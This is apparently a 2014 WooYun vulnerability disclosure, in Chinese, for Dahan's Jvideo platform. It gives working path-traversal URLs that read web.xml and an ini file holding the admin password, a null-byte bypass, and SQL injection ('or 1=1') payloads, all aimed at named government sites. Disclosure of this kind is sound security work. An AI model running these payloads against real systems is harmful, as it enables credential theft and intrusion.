漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-060416
漏洞标题：大汉Jvideo两处漏洞小合集（可能导致管理后台权限劫持）
相关厂商：南京大汉网络有限公司
漏洞作者： wefgod
提交时间：2014-05-12 14:03
修复时间：2014-08-10 14:04
公开时间：2014-08-10 14:04
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-12： 细节已通知厂商并且等待厂商处理中
2014-05-12： 厂商已经确认，细节仅向厂商公开
2014-05-15： 细节向第三方安全合作伙伴开放
2014-07-06： 细节向核心白帽子及相关领域专家公开
2014-07-16： 细节向普通白帽子公开
2014-07-26： 细节向实习白帽子公开
2014-08-10： 细节向公众公开
简要描述：
两处。
详细说明：
一个是任意文件下载，一个是sql注入。
先看任意文件下载吧，任意文件下载可以下载到setup的相关安装信息，从而可以登录setup目录的管理后台
http://222.66.10.88:8081/jvideo/down.jsp?pathfile=WEB-INF/web.xml
来点好东西
http://222.66.10.88:8081/jvideo/down.jsp?pathfile=WEB-INF/ini/merpserver.ini
可以看见setup下Admin的密码（屏蔽了），登录成功
另外一个网站
http://www.yzwh.gov.cn/jvideo/down.jsp?pathfile=WEB-INF/ini/merpserver.ini
也可以看见setup下的admin的密码，登录成功
如果遇到某些下载下来是空白的情况，可以试试下面这样：
pathfile=/WEB-INF/ini/merpserver.ini%00.flv
可以绕过他们的防下载。
漏洞证明：
SQL就简单证明下了
网站1
正常页面：
http://www.yzwh.gov.cn/jvideo/objectbox/selectx_userlist.jsp
用or测试，回显所有账号信息：
http://www.yzwh.gov.cn/jvideo/objectbox/selectx_userlist.jsp?type=&userType=-1&fn_Keywords=%E5%BC%A0%E4%B8%89' or '1'='1'--&perm=&cPage=1&tiao=
用and：
http://www.yzwh.gov.cn/jvideo/objectbox/selectx_userlist.jsp?type=&userType=-1&fn_Keywords=%E5%BC%A0%E4%B8%89' and '1'='1'--&perm=&cPage=1&tiao=
http://www.yzwh.gov.cn/jvideo/objectbox/selectx_userlist.jsp?type=&userType=-1&fn_Keywords=%E5%BC%A0%E4%B8%89'--&perm=&cPage=1&tiao=
可以用注释符：
网站2
正常页面：
http://www.jinxiang.gov.cn/jvideo/objectbox/selectx_userlist.jsp
用and测试，木有问题正常回显搜索的账号：
http://www.jinxiang.gov.cn/jvideo/objectbox/selectx_userlist.jsp?type=&userType=-1&fn_Keywords=zzz' and '1'='1'--&perm=&cPage=1&tiao=
用or来测试，回显全部账号信息：
http://www.jinxiang.gov.cn/jvideo/objectbox/selectx_userlist.jsp?type=&userType=-1&fn_Keywords=zzz' or '1'='1'--&perm=&cPage=1&tiao=
由于网络有问题经常访问网站都是504，所以就不再用工具详细测试了。
修复方案：
厂商懂
版权声明：转载请注明来源 wefgod@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-05-12 17:06
厂商回复：
感谢关注
最新状态：
暂无